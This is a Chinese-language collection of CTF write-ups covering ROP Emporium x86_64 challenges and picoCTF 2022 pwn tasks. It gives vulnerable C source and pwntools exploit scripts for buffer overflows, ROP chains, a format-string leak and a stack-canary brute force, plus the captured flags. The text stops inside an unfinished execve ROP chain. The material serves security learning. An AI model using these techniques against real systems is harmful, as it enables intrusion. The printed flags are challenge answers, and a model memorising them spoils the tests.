要能够成功使用代码片段,还需要在内存空间中找到一个保存着这个代码段地址的地方,因为前面已经说过,call的地址是取值拿到的,所以不能直接将地址放在寄存器中。我们在IDA中尝试搜索,没想到还真的搜索到了:

我们只需要将r12赋值为0x4003b0,就能够完美跳过这个call并毫发无损地返回,也就有了修正第一个参数的机会。注意:此时我们会多pop掉7个参数,因此要在栈中加7个无效数。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

io = process('./ret2csu')
elf = ELF('./ret2csu')
lib = ELF('./libret2csu.so')

ROP_1 = 0x40069a
ROP_2 = 0x400680
rdi = 0x4006a3
call = 0x400689

payload = cyclic(40)
payload += p64(rdi) + p64(0xdeadbeefdeadbeef) # pop the first argument
payload += p64(ROP_1)
payload += p64(0) + p64(1) + p64(0x4003B0) + p64(0xdeadbeefdeadbeef) + p64(0xcafebabecafebabe) + p64(0xd00df00dd00df00d)
payload += p64(ROP_2)
payload += p64(0) * 7
payload += p64(rdi) + p64(0xdeadbeefdeadbeef)
payload += p64(elf.plt['ret2win'])

io.sendlineafter(b'> ', payload)
io.interactive()


由此可见,在做题的过程中,转换思路很重要。一条指令可以有用,也可以无用。可能需要精心构造进入,也可能需要精心构造绕过。全方位思考,整合程序中的所有资源为己所用,方能在pwn的世界纵横捭阖,左右逢源。要学的东西,还有很多…

ROP Emporium是一个提供ROP攻击学习样板程序的网站,一共8道题,每道题有64位、32位、ARM、MIPS共4种格式的ELF文件,适用于多种平台,难度依次递增。本文档为前6道题的x86_64位版本的解析。

ROP Emporium

1. ret2win

这个没什么好说的,新手第一题水平,直接改返回地址就行。

payload:

1
2
3
4
5
6
7
from pwn import *

io = process('./ret2win')

io.sendlineafter(b'> ', cyclic(40) + p64(0x400756))

io.interactive()

2. split

这道题需要调用system函数,传入正确的参数。参数在数据段已经给出,直接使用经典gadget将参数pop到rdi寄存器中即可。rdi是64位linux程序函数的第一个参数,前6个参数分别为:rdi, rsi, rdx, rcx, r8, r9,之后的参数在栈中高地址处依次保存。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context.arch = 'amd64'

io = process('./split')

useful_string = 0x601060
pop_rdi_ret_addr = 0x4007c3
elf = ELF('./split')

payload = cyclic(32 + 8) + p64(pop_rdi_ret_addr) + p64(useful_string) + p64(elf.plt['system'])

io.sendlineafter(b'> ', payload)

io.interactive()

3. callme

这道题需要调用自定义库中的三个函数,这3个函数首先都对传入的前三个参数进行了检查。我们只需要在ROP里面将参数传进去即可。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

io = process('./callme')
elf = ELF('./callme')

rdi = 0x4009a3
rsirdx = 0x40093d

payload = cyclic(32 + 8)
payload += p64(rdi) + p64(0xdeadbeefdeadbeef)
payload += p64(rsirdx) + p64(0xcafebabecafebabe) + p64(0xd00df00dd00df00d)
payload += p64(elf.plt['callme_one'])
payload += p64(rdi) + p64(0xdeadbeefdeadbeef)
payload += p64(rsirdx) + p64(0xcafebabecafebabe) + p64(0xd00df00dd00df00d)
payload += p64(elf.plt['callme_two'])
payload += p64(rdi) + p64(0xdeadbeefdeadbeef)
payload += p64(rsirdx) + p64(0xcafebabecafebabe) + p64(0xd00df00dd00df00d)
payload += p64(elf.plt['callme_three'])

io.sendlineafter(b'> ', payload)
io.interactive()

4. write4

这一题虽然有一个print_file函数,但是对应的参数在write4文件中没有给出,需要我们自己构造。仔细使用IDA观察会发现,程序特地给了我们一个gadget实现任意地址写。bss段或data段能够作为我们构造的字符串’flag.txt’的存放位置,那么我们就将这个字符串写到这些可写段中,再将其作为参数传入print_file函数即可。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.log_level='debug'

io = process('./write4')
elf = ELF('./write4')
useful_gadget = 0x400628
r14r15 = 0x400690
rdi = 0x400693
write_addr = 0x601028
main_addr = 0x400607

payload = cyclic(32 + 8)
payload += p64(r14r15) + p64(write_addr) + b'flag.txt'
payload += p64(useful_gadget)
payload += p64(r14r15) + p64(write_addr + 8) + p64(0)
payload += p64(useful_gadget)
payload += p64(rdi) + p64(write_addr)
payload += p64(elf.plt['print_file'])

io.sendlineafter(b'> ', payload)

io.interactive()

5. badchars

这道题的pwnme函数中添加了一个检查,不允许出现’x’、‘a’、‘g’、'.'这4个字符。但是程序中给出了任一地址加减的gadget,我们先写入其他值,然后通过加减将这个值变成我们想要的值就可以了。但是这里需要注意一点:如果在data段的开头——0x601028写入,程序会崩溃。因为我们需要绕过’x’字符,就势必在应该写入x的地方一开始不能写入x。如果在此处写字符串,那么字符’x’的位置应该在0x60102E,但是 2E正好是’.'的ASCII码,会被强制转换,从而导致ROP失败。 不过我们还是可以在0x601030写入。

这里提供一个ROP调试的省时小技巧。当我们构造的ROP多次失败时,如果这个ROP是一次注入,那么我们是无法进行调试的。这种情况下我们可以在ROP中间插入一个有反馈的代码段地址,如main函数开头。我们将这个main函数开头插入到ROP的不同位置,从前往后查找,前面的ROP如果正常执行,那么我们可以及时地得到反馈,如果错误则会崩溃,我们就会知道哪一步ROP之前出了错误。如此从前往后,我们就可以找到,到底是哪一步ROP有问题,从而进行修改。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context.log_level = 'debug'

io = process('./badchars')
elf = ELF('./badchars')

xor_r14r15 = 0x400628
add_r14r15 = 0x40062c
sub_r14r15 = 0x400630
mov_r12r13 = 0x400634
pop_r12r13r14r15 = 0x40069c
pop_r14r15 = 0x4006a0
pop_rdi = 0x4006a3
write_addr = 0x601030

badchars = 'xga.'

payload = b'b' * 40
payload += p64(pop_r12r13r14r15) + b'flbh/tyt' + p64(write_addr) + p64(1) + p64(write_addr + 2) # a->b g->h .->/ x->y then just -1
payload += p64(mov_r12r13)
payload += p64(sub_r14r15)
payload += p64(pop_r14r15) + p64(1) + p64(write_addr + 3)
payload += p64(sub_r14r15)
payload += p64(pop_r14r15) + p64(1) + p64(write_addr + 4)
payload += p64(sub_r14r15)
payload += p64(pop_r14r15) + p64(1) + p64(write_addr + 6)
payload += p64(sub_r14r15)
payload += p64(pop_rdi) + p64(write_addr)
payload += p64(elf.plt['print_file'])

io.sendlineafter(b'> ', payload)

io.interactive()

6. fluff

这题和上题唯一的区别就是给的gadget不同。但是这个gadget可谓是花里胡哨。3个指令都不熟悉。查!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:0000000000400628 ; ---------------------------------------------------------------------------
.text:0000000000400628
.text:0000000000400628 questionableGadgets:
.text:0000000000400628 xlat
.text:0000000000400629 retn
.text:000000000040062A ; ---------------------------------------------------------------------------
.text:000000000040062A pop rdx
.text:000000000040062B pop rcx
.text:000000000040062C add rcx, 3EF2h
.text:0000000000400633 bextr rbx, rcx, rdx
.text:0000000000400638 retn
.text:0000000000400639 ; ---------------------------------------------------------------------------
.text:0000000000400639 stosb
.text:000000000040063A retn
.text:000000000040063A ; ---------------------------------------------------------------------------

xlat指令:将[rbx+al]的值赋值给al,这里的64位解析出来gdb显示为xlatb,赋值后rax高位不变。
bextr指令:byte extract。bextr dest src1 src2
dest = (src1 >> (src2 & 0xFF)) & (1 << ((src2 >> 8) & 0xFF) - 1)
即src2的次低字节表示提取bit位数,最低字节表示提取bit位起始处。将src1提取src2中指定的比特位并赋值到dest中。
例如本题中的 bextr rbx rcx rdx,设rcx = 0b10101100 01011101 00010001 11100111,rdx = 0x0509,则提取:

1
2
3
4
								 98 76543210
rcx = 0b 10101100 01011101 00010001 11100111
[ ]
rbx = 0x8

stosb指令:将al赋值给[rdi]

通过上述3个指令,我们需要怎样构造flag.txt字符串呢?

注意到,能够将寄存器的值赋值到内存中的只有stosb指令,在__libc_csu_init函数中有pop rdi; ret的gadget,我们因此可以控制stosb指令将al的值写到哪里。接下来就需要思考如何将正确的值写入al中了。正好xlat指令提供了解决方案,可以将内存中的一个值写入al。但首先,我们需要控制rbx的值,这样才能够在内存中寻找正确的字节。而对于rbx,我们又可以使用bextr指令,控制rcx和rdx后,我们可以在rbx中写入任意值。这样,整个利用的流程也就清晰了。修改rbx -> 修改al -> 修改内存。

在pwnme函数返回时,rax的值为0xb,是一个较小的值。我们可以在rbx中写入LOAD段中有一块全为0的起始地址,这样就能够将rax赋值为0,便于进行后续操作。

之后就是一个字符一个字符地转存到.bss段中即可。注意:stosb指令执行后rdi会自增,因此只需要写一个rdi赋值的gadget即可。

在赋值过程中,我们似乎可以在每赋值一个字节之后就将rax清零,然后精准定位下一个字节。但是构造完毕之后会发现,整个gadget的长度已经超过了写入的限制——0x200。因此我们需要利用上一个字节的值定位下一个字节的值。在一个字节写入完毕后,rax的值应该为这个字节对应的ASCII码,我们需要在rbx中再减去这个ASCII码值,一样可以定位到下一个字节的位置。同时要注意代码中对rcx本身加上了一个值,也要减去。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context.log_level = 'debug'

io = process('./fluff')
elf = ELF('./fluff')

xlat = 0x400628
bextr = 0x40062A
stosb = 0x400639
zero_seg = 0x600fa0 # \x00 in this place
write_addr = 0x601038
rdi = 0x4006A3
main_addr = 0x400607

# address of char 'f', 'l', 'a', 'g', '.', 't', 'x', 't'
# you can view the hex in window 'Hex View-1' in IDA_PRO to find the bytes you want
char_addr = [0x4003C4, 0x4003C1, 0x4003D6, 0x4003CF, 0x4003C9, 0x4003D8, 0x400246, 0x4003D8]
# ASCII value of each byte
char = [ord(x) for x in 'flag.txt']

print(char)

payload = cyclic(40)
payload += p64(rdi) + p64(write_addr) # make rdi point to address needed to write

# make 'f' into 0x601038
# gdb tell us that after gadget for rdi, rax should be 0xb, so we minus 0xb to make rax = 0
payload += p64(bextr) + p64(0x2000) + p64(zero_seg - 0x3EF2 - 0xb) # start = 0, len = 0x20, equals mov rbx, rcx
payload += p64(xlat)
payload += p64(bextr) + p64(0x2000) + p64(char_addr[0] - 0x3EF2)
payload += p64(xlat)
payload += p64(stosb)

for i in range(7):
payload += p64(bextr) + p64(0x2000) + p64(char_addr[i + 1] - char[i] - 0x3EF2) # to get the right value
payload += p64(xlat)
payload += p64(stosb)

payload += p64(rdi) + p64(write_addr)

payload += p64(elf.plt['print_file'])

io.sendlineafter(b'> ', payload)
io.interactive()

picoctf 2022刚刚结束,上面的题目非常适合刚刚入门CTF的选手,整体难度很平易近人,这里写一下picoctf 2022我做过的题的Write-up。当然做的最多的还是pwn。

1. pwn部分

pwn部分几乎所有题目都给了源码,算是很亲民了。

1. basic-file-exploit

只给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>


#define WAIT 60


static const char* flag = "[REDACTED]";

static char data[10][100];
static int input_lengths[10];
static int inputs = 0;



int tgetinput(char *input, unsigned int l)
{
fd_set input_set;
struct timeval timeout;
int ready_for_reading = 0;
int read_bytes = 0;

if( l <= 0 )
{
printf("'l' for tgetinput must be greater than 0\n");
return -2;
}


/* Empty the FD Set */
FD_ZERO(&input_set );
/* Listen to the input descriptor */
FD_SET(STDIN_FILENO, &input_set);

/* Waiting for some seconds */
timeout.tv_sec = WAIT; // WAIT seconds
timeout.tv_usec = 0; // 0 milliseconds

/* Listening for input stream for any activity */
ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
/* Here, first parameter is number of FDs in the set,
* second is our FD set for reading,
* third is the FD set in which any write activity needs to updated,
* which is not required in this case.
* Fourth is timeout
*/

if (ready_for_reading == -1) {
/* Some error has occured in input */
printf("Unable to read your input\n");
return -1;
}

if (ready_for_reading) {
read_bytes = read(0, input, l-1);
if(input[read_bytes-1]=='\n'){
--read_bytes;
input[read_bytes]='\0';
}
if(read_bytes==0){
printf("No data given.\n");
return -4;
} else {
return 0;
}
} else {
printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
return -3;
}

return 0;
}


static void data_write() {
char input[100];
char len[4];
long length;
int r;

printf("Please enter your data:\n");
r = tgetinput(input, 100);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}

while (true) {
printf("Please enter the length of your data:\n");
r = tgetinput(len, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}

if ((length = strtol(len, NULL, 10)) == 0) {
puts("Please put in a valid length");
} else {
break;
}
}

if (inputs > 10) {
inputs = 0;
}

strcpy(data[inputs], input);
input_lengths[inputs] = length;

printf("Your entry number is: %d\n", inputs + 1);
inputs++;
}


static void data_read() {
char entry[4];
long entry_number;
char output[100];
int r;

memset(output, '\0', 100);

printf("Please enter the entry number of your data:\n");
r = tgetinput(entry, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}

if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}

entry_number--;
strncpy(output, data[entry_number], input_lengths[entry_number]);
puts(output);
}


int main(int argc, char** argv) {
char input[3] = {'\0'};
long command;
int r;

puts("Hi, welcome to my echo chamber!");
puts("Type '1' to enter a phrase into our database");
puts("Type '2' to echo a phrase in our database");
puts("Type '3' to exit the program");

while (true) {
r = tgetinput(input, 3);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}

if ((command = strtol(input, NULL, 10)) == 0) {
puts("Please put in a valid number");
} else if (command == 1) {
data_write();
puts("Write successful, would you like to do anything else?");
} else if (command == 2) {
if (inputs == 0) {
puts("No data yet");
continue;
}
data_read();
puts("Read successful, would you like to do anything else?");
} else if (command == 3) {
return 0;
} else {
puts("Please type either 1, 2 or 3");
puts("Maybe breaking boundaries elsewhere will be helpful");
}
}

return 0;
}

只需要写入一次之后读取位置0即可拿到flag。
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_9F68795F}

2. buffer overflow 0

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
printf("%s\n", flag);
fflush(stdout);
exit(1);
}

void vuln(char *input){
char buf2[16];
strcpy(buf2, input);
}

int main(int argc, char **argv){

FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}

fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler); // Set up signal handler

gid_t gid = getegid();
setresgid(gid, gid, gid);


printf("Input: ");
fflush(stdout);
char buf1[100];
gets(buf1);
vuln(buf1);
printf("The program will exit now\n");
return 0;
}

注意main函数中的这一条语句signal(SIGSEGV, sigsegv_handler);,它表示在程序收到SIGSEGV信号时执行该函数。而这个函数打印flag的值。因此只需要输入使栈溢出即可,输入什么无关紧要。

picoCTF{ov3rfl0ws_ar3nt_that_bad_a065d5d9}

3. CVE-XXXX-XXXX

查CSDN。

picoCTF{CVE-2021-34527}

4. buffer overflow 1

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}

fgets(buf,FLAGSIZE,f);
printf(buf);
}

void vuln(){
char buf[BUFSIZE];
gets(buf);

printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);

gid_t gid = getegid();
setresgid(gid, gid, gid);

puts("Please enter your string: ");
vuln();
return 0;
}

栈溢出到win函数即可。

payload:

1
2
3
4
5
6
# io = process('./vuln')
io = remote('saturn.picoctf.net', 49730)

io.sendlineafter(b'Please enter your string:', cyclic(0x2c) + p32(0x80491f6))

io.interactive()

picoCTF{addr3ss3s_ar3_3asy_ad2f467b}

5. RPS

一个石头剪刀布游戏。

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>


#define WAIT 60



static const char* flag = "[REDACTED]";

char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};
int wins = 0;



int tgetinput(char *input, unsigned int l)
{
fd_set input_set;
struct timeval timeout;
int ready_for_reading = 0;
int read_bytes = 0;

if( l <= 0 )
{
printf("'l' for tgetinput must be greater than 0\n");
return -2;
}


/* Empty the FD Set */
FD_ZERO(&input_set );
/* Listen to the input descriptor */
FD_SET(STDIN_FILENO, &input_set);

/* Waiting for some seconds */
timeout.tv_sec = WAIT; // WAIT seconds
timeout.tv_usec = 0; // 0 milliseconds

/* Listening for input stream for any activity */
ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
/* Here, first parameter is number of FDs in the set,
* second is our FD set for reading,
* third is the FD set in which any write activity needs to updated,
* which is not required in this case.
* Fourth is timeout
*/

if (ready_for_reading == -1) {
/* Some error has occured in input */
printf("Unable to read your input\n");
return -1;
}

if (ready_for_reading) {
read_bytes = read(0, input, l-1);
if(input[read_bytes-1]=='\n'){
--read_bytes;
input[read_bytes]='\0';
}
if(read_bytes==0){
printf("No data given.\n");
return -4;
} else {
return 0;
}
} else {
printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
return -3;
}

return 0;
}


bool play () {
char player_turn[100];
srand(time(0));
int r;

printf("Please make your selection (rock/paper/scissors):\n");
r = tgetinput(player_turn, 100);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}

int computer_turn = rand() % 3;
printf("You played: %s\n", player_turn);
printf("The computer played: %s\n", hands[computer_turn]);

if (strstr(player_turn, loses[computer_turn])) {
puts("You win! Play again?");
return true;
} else {
puts("Seems like you didn't win this time. Play again?");
return false;
}
}


int main () {
char input[3] = {'\0'};
int command;
int r;

puts("Welcome challenger to the game of Rock, Paper, Scissors");
puts("For anyone that beats me 5 times in a row, I will offer up a flag I found");
puts("Are you ready?");

while (true) {
puts("Type '1' to play a game");
puts("Type '2' to exit the program");
r = tgetinput(input, 3);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}

if ((command = strtol(input, NULL, 10)) == 0) {
puts("Please put in a valid number");

} else if (command == 1) {
printf("\n\n");
if (play()) {
wins++;
} else {
wins = 0;
}

if (wins >= 5) {
puts("Congrats, here's the flag!");
puts(flag);
}
} else if (command == 2) {
return 0;
} else {
puts("Please type either 1 or 2");
}
}

return 0;
}

注意程序对用户输入的处理方式,是找到用户输入字符串中是否有’rock’,‘paper’,‘scissors’。也就是说如果输入’rockpaperscissors’就无论如何都能赢。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level='debug'

# io = process('./vuln')
io = remote('saturn.picoctf.net', 51420)

io.sendlineafter(b'Type \'2\' to exit the program', b'1')

for i in range(4):
io.sendlineafter(b'Please make your selection (rock/paper/scissors):',
b'rockpaperscissors')
io.sendlineafter(b'Type \'2\' to exit the program', b'1')

io.sendlineafter(b'Please make your selection (rock/paper/scissors):',
b'rockpaperscissors')
io.sendlineafter(b'Type \'2\' to exit the program', b'2')


io.interactive()

picoCTF{50M3_3X7R3M3_1UCK_58F0F41B}

6. x-sixty-what

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}

fgets(buf,FLAGSIZE,f);
printf(buf);
}

void vuln(){
char buf[BUFFSIZE];
gets(buf);
}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
vuln();
return 0;
}

64位的栈溢出,前面的是32位的。

payload:

1
2
3
4
5
6
7
8
9
from pwn import *

# io = process('./vuln')
io = remote('saturn.picoctf.net', 49518)

io.sendlineafter(b'Welcome to 64-bit. Give me a string that gets you the flag: ',
cyclic(64 + 8) + p64(0x40123B))

io.interactive()

picoCTF{b1663r_15_b3773r_11c407bc}

7. buffer overflow 2

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}

fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}

void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);

gid_t gid = getegid();
setresgid(gid, gid, gid);

puts("Please enter your string: ");
vuln();
return 0;
}

需要传入两个正确的参数,注意一个函数的栈空间从低地址到高地址依次为:变量区、ebp/rbp、返回地址。需要将返回地址覆盖为win函数的起始地址,之后从逻辑上应该是win函数的返回地址,再之后才是win函数的参数。

payload:

1
2
3
4
5
6
7
8
from pwn import *

# io = process(b'./vuln')
io = remote('saturn.picoctf.net', 65430)

io.sendlineafter(b'Please enter your string: ', cyclic(112) + p32(0x8049296) + p32(0xDEADBEEF) + p32(0xCAFEF00D) + p32(0xF00DF00D))

io.interactive()

picoCTF{argum3nt5_4_d4yZ_b3fd8f66}

8. buffer overflow 3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4

void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}

fgets(buf,FLAGSIZE,f); // size bound read
puts(buf);
fflush(stdout);
}

char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'canary.txt' in this directory with your",
"own debugging canary.\n");
exit(0);
}

fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}

void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);

printf("Input> ");
read(0,buf,count);

if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
exit(-1);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);

// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}

加了一个canary,每一次的canary都一样,有read函数可以精确控制写入字节数量,不会多写空字节,因此采用爆破的方式获取canary然后拿到flag。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context.log_level='debug'

io = remote('saturn.picoctf.net', 60065)

canary = [0, 0, 0, 0]

def get_payload(i, j):
ret = cyclic(64)
for k in range(j):
ret += p8(canary[k])
return ret + p8(i)

for j in range(4):
for i in range(255):
io.sendlineafter(b'> ', str(65 + j).encode())
io.sendlineafter(b'Input> ', get_payload(i, j))
if b'***** Stack Smashing Detected *****' in io.recv():
io = remote('saturn.picoctf.net', 60065)
else:
canary[j] = i
break
io = remote('saturn.picoctf.net', 60065)

canary_value = canary[0] + (canary[1] << 8) + (canary[2] << 16) + (canary[3] << 24)
io.sendlineafter(b'> ', str(64 + 4 + 16 + 4).encode())
io.sendlineafter(b'Input> ', cyclic(64) + p32(canary_value) + cyclic(16) + p32(0x8049336))

io.interactive()

canary的值为BiRd

picoCTF{Stat1C_c4n4r13s_4R3_b4D_f9792127}

9. flag leak

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

void readflag(char* buf, size_t len) {
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}

fgets(buf,len,f); // size bound read
}

void vuln(){
char flag[BUFSIZE];
char story[128];

readflag(flag, FLAGSIZE);

printf("Tell me a story and then I'll tell you one >> ");
scanf("%127s", story);
printf("Here's a story - \n");
printf(story);
printf("\n");
}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);

// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
return 0;
}

这是一个格式化字符串漏洞,通过gdb调试发现偏移为24的地方留有flag的地址+4。flag前面4个字符已知,因此直接打印这个地址对应的值即可。

picoCTF{L34k1ng_Fl4g_0ff_St4ck_0551082c}

10. ropfu

典型ROP攻击。

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
char buf[16];
printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
return gets(buf);

}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);


// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();

}

能够在程序中找到大量的rop材料,但还需要一个/bin/sh字符串。需要首先调用库函数将/bin/sh写入bss段,然后再系统调用execve来getshell。具体一些,execve的系统调用需要eax=0xB,ebx=read_addr,ecx=0,edx=0。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context.log_level = 'debug'

# io = process('./vuln')
io = remote('saturn.picoctf.net', 53996)
elf = ELF('./vuln')

sh_addr = next(elf.search(b'sh\0')) # 'sh' addr, need to make ebx point to it
sys_execve = 0xb # need to make eax be 0xb

pop_eax_addr = 0x80b074a
pop_ebx_addr = 0x8049022
pop_ecx_addr = 0x8049e39
pop_edx_ebx_addr = 0x80583c9
